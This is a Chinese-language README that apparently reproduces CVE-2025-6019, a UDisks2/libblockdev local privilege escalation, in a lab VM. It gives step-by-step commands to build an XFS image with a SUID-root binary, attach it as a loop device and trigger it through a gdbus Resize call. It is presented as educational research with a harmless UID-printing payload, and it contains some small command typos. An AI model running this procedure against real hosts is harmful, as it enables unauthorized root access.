# CVE-2025-6019 的教育性复现:通过恶意文件系统镜像中的 SUID-root 二进制实现 UDisks2 本地权限提升 包含逐步漏洞利用指南和根因分析,适用于受控实验室环境。
本仓库记录了在受控实验室环境(Ubuntu 虚拟机,非生产环境)中对 CVE-2025-6019 的教育性复现。
本研究在沙盒化的 Ubuntu 环境中复现了 CVE-2025-6019,以分析 UDisks2 漏洞的根本原因和缓解措施。
所有结果均负责任地分享,旨在提升安全意识并推动补丁应用。
如果您是供应商或维护者,请确保您的系统已安装最新的安全更新。
该 CVE 漏洞是 Linux 系统中的一种本地权限提升漏洞,源于 Linux 文件系统管理组件(此处指 udisk/udisk2、libblockdev 和 Polkit)之间协同不足。此漏洞允许本地用户(非特权攻击者)挂载一个包含 root 所有且设置了 SUID 位的恶意文件系统镜像,从该镜像中执行 SUID-root 二进制文件,并最终完全控制主机。

此利用实验在 Ubuntu 20.04.6 虚拟机上开展。
所有测试均在隔离的本地虚拟机中执行,未使用网络连接或破坏性负载。其目的纯粹是在安全条件下观察权限变化并验证该漏洞。
~$ gcc check_root.c -o check_root
~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs
# Expected result: libblockdev version 2.23-2ubuntu3 and udisk2 version 2.8.4-1ubuntu2
请注意,目标不是创建破坏性程序。
check_root.c 是一个无害的测试程序,执行时只会通过 getuid() 和 geteuid() 函数打印其真实 UID 和有效 UID;但如果我们将其替换为恶意二进制文件,系统可能会受到损害。
~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img
~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious
# Expected: no result return.
如果你看到镜像仍处于挂载状态,请卸载它。此阶段之后,我们拥有一个恶意镜像,其中包含恶意文件(checkroot.c),具有 SUID 标志和 root 所有者的元数据。
请注意,在 Linux 机器之间复制文件时,该元数据保持一致,并且 Linux 受 “nosuid” 保护,但在这种情况下不会受到影响。
此步骤会将镜像映射到目标机器,然后执行其中的恶意文件,此操作类似于将恶意 USB 插入 Linux 机器。
~$ losetup
# Check which /dev/loop* devices are in use and create a newone and mount with the malicious image creted in the Stage 2. For example, if you see /dev/loop1-8, create /dev/loop9:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ Echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
Precheck:
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
#expected: No results returns
~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh
打开第二个终端,发送一个 D-Bus 请求,要求系统(UDisks2)调整所提供的块设备的大小。
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"
成功原因:当使用 losetup 手动映射镜像并随后手动挂载(即使系统上存在 udisksd)时,挂载是在具有不同选项和生命周期语义的上下文中执行的。在这种情况下,文件系统未使用 udisksd 应用的安全标志挂载,因此镜像内的 setuid 二进制文件可以生效,利用步骤成功。
⚠️ 免责声明
本仓库仅供教育用途。
请勿使用本内容的任何部分攻击或修改真实系统。
作者和贡献者不对滥用承担任何责任。